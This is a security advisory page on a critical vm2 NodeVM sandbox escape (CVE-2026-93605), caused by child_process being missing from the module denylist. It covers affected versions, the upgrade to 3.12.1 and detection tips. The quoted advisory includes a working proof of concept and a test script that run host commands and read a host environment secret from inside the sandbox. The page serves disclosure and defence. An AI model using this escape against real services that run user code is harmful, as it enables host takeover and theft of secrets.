NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · npm

CVE-2026-93605: vm2 contains a sandbox escape vulnerability

criticalCVSS 3.1 10.0GHSA-pq68-rvw4-xp4r

vm2 up to 3.12.0 lets sandboxed code run host commands when `NodeVM` is configured with `require: { builtin: ['*'] }` or names `child_process` explicitly. The `DANGEROUS_BUILTINS` denylist blocks other host-reaching modules but leaves out `child_process`. Upgrade to vm2 3.12.1.

Published Oct 7, 2026 · Analysis Oct 25, 2026

What an attacker can do

NodeVM is meant to run untrusted code with a restricted require. In lib/builtin.js, the DANGEROUS_BUILTINS set denies modules such as worker_threads, cluster, vm, process and os, even when the config asks for '*'. child_process is missing from it. isDangerousBuiltin('child_process') returns false, so the '*' wildcard expands to include it, and an explicit builtin: ['child_process'] is also admitted. The module handed to the sandbox is the real host module, because the default require context is host.

The attacker only controls the sandboxed script. One line, require('child_process').execSync('id'), runs a command with the host process's privileges and can read host environment variables. The advisory's tests show the escape also works with the documented subtract pattern ['*', '-fs']. A control config with only builtin: ['fs'] denied the module. The scope change in the CVSS vector (S:C) reflects the break from sandbox to host. This matters most for platforms that run user-supplied plugins, scripts or workflow code through vm2.

Who is affected

vm2 versions 3.12.0 and earlier, in configurations that expose child_process: require: { builtin: ['*'] }, a wildcard with subtractions such as ['*', '-http', '-net'], or an explicit child_process entry. The advisory's tests show a config that allows only specific other modules, such as ['fs'], denies it.

Check the installed version, including transitive copies:

npm ls vm2

Then search your code for NodeVM and read each require.builtin setting.

vm2

Ecosystem
npm
Affected
<= 3.12.0
Fixed in
3.12.1
Check
npm ls vm2

How to fix it

Upgrade to vm2 3.12.1:

npm install [email protected]

The advisory pages do not describe the patch itself or list workarounds. The root cause is the missing denylist entry. Until you can upgrade, do not use builtin: ['*'] or the subtract pattern, and never list child_process in builtin. Allow only the specific modules your sandboxed code needs. Do not treat any in-process JavaScript sandbox as the only barrier for hostile code. Run it in a separate, unprivileged process or container as well.

How to tell if you were hit

Audit your code for new NodeVM( calls and review their require.builtin values. Look for unexpected child processes spawned by your Node service, such as sh, id or curl started by the Node process, and for outbound connections from the host that the service does not normally make. Review the scripts users have submitted for child_process, execSync, spawn or exec. The advisory gives no log signature of its own.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance.

This fork hardens NodeVM with a DANGEROUS_BUILTINS denylist that blocks host‑code‑reaching core modules **even when the sandbox requests builtin:['*'] or names them explicitly — the list contains `module`, `worker_threads`, `cluster`, `vm`, `repl`, `inspector`, `process`, `trace_events`, `wasi`, `diagnostics_channel`, `async_hooks`, `perf_hooks`, `v8`, `os`, `dns`, and `test`. It omits child_process** — the single most direct command‑execution primitive. As a result, a sandbox running under require:{builtin:['*']} (or the fork's own documented ['*','-http','-net',…] subtract pattern) can require('child_process').execSync(...) and execute arbitrary commands on the host. The omission is internally inconsistent: cluster is denied with the explicit rationale "cluster.fork() spawns a host child process running attacker‑controlled code," yet child_process — which spawns host processes more directly — is not.

Details

lib/builtin.js:

  • DANGEROUS_BUILTINS (lines 83‑179) — the Set of denied builtins. child_process does not appear anywhere in it.
  • isDangerousBuiltin(key) (lines 185‑195) — strips node: prefixes and applies family‑prefix matching against DANGEROUS_BUILTINS. Returns false for child_process.
  • BUILTIN_MODULES (lines 209‑210) — the source list that the '*' wildcard expands to — is builtinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s)). Because isDangerousBuiltin('child_process') is false, child_process **remains in '*'**.
  • addDefaultBuiltin (the explicit‑name path) likewise rejects only isDangerousBuiltin names, so builtin:['child_process'] is admitted as well.

The module returned is the real host `child_process` (default require.context is "host"), so execSync/exec/spawn/fork run with full host authority. The denylist's own comment (lines 42‑44) states these primitives "must NEVER be reachable from the sandbox, even when the user requests '*' or explicitly names them" — the invariant child_process violates.

PoC

const { NodeVM } = require('vm2');

const r = new NodeVM({ require: { builtin: ['*'] } }).run(`
  module.exports = require('child_process').execSync('id').toString();
`, 'plugin.js');

console.log(r);   // -> "uid=1000(user) gid=1000(user) groups=..."   host command execution

Verified results:

| config | `require('child_process')` |
| `{ builtin: ['*'] }` | **RCE** — host `id` + host env read |
| `{ builtin: ['*', '-fs'] }` (documented subtract pattern) | **RCE** — subtracting other modules does not remove it |
| `{ builtin: ['child_process'] }` | **RCE** — explicit name admitted despite the "never, even if named" invariant |
| `{ builtin: ['fs'] }` (control) | denied — `Cannot find module 'child_process'` |

Impact

Full host RCE — a complete NodeVM sandbox escape — for any deployment that runs untrusted code under require:{builtin:['*']} or the documented ['*', '-x', …] subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows child_process believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single require('child_process').

builtin-child_process-denylist-gap-rce.js

'use strict';
// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.
// The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins
// even under `builtin:['*']` or explicit naming — module, worker_threads,
// cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT
// child_process. So `require:{builtin:['*']}` (an allow-all config the fork
// explicitly hardens) yields direct host RCE. Attacker controls only the
// sandboxed script.
const path = require('path');
const { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js'));

process.env.HOST_ONLY_SECRET = 'CANARY123';   // host-only; sandbox process stub has env:{}

function tryConfig(label, opts) {
  try {
    const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => {
      try {
        const cp = require('child_process');
        return {
          reached: true,
          id: cp.execSync('id').toString().trim(),
          hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim()
        };
      } catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }
    })()`, 'plugin.js');
    console.log(label, '=>', JSON.stringify(r));
    return r;
  } catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; }
}

console.log('--- child_process reachability by NodeVM require config ---');
const a = tryConfig("require:{builtin:['*']}        ", { require: { builtin: ['*'] } });
const b = tryConfig("require:{builtin:['*','-fs']}  ", { require: { builtin: ['*', '-fs'] } });   // documented subtract pattern
const c = tryConfig("require:{builtin:['fs']} (ctl) ", { require: { builtin: ['fs'] } });          // control: not allowed -> denied

const ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123'
        && b && b.reached
        && c && c.reached === false;
console.log(ok
  ? "\n>>> CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed"
  : "\n>>> NOT confirmed");
process.exit(ok ? 42 : 1);

Questions

Is vm2 3.12.0 affected by CVE-2026-93605?

Yes, if NodeVM exposes child_process. Versions up to and including 3.12.0 are affected. The fix is in 3.12.1.

Am I safe if I don't use builtin: ['*']?

Largely, for this flaw. The advisory's test showed builtin: ['fs'] denied child_process. You are still exposed if you name child_process explicitly, because the denylist did not reject it.

Is CVE-2026-93605 exploited in the wild?

None of the pages read say so, and it is not marked as a known exploited vulnerability in this entry. The advisory does include a working proof of concept.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More npm vulnerabilities

All npm entries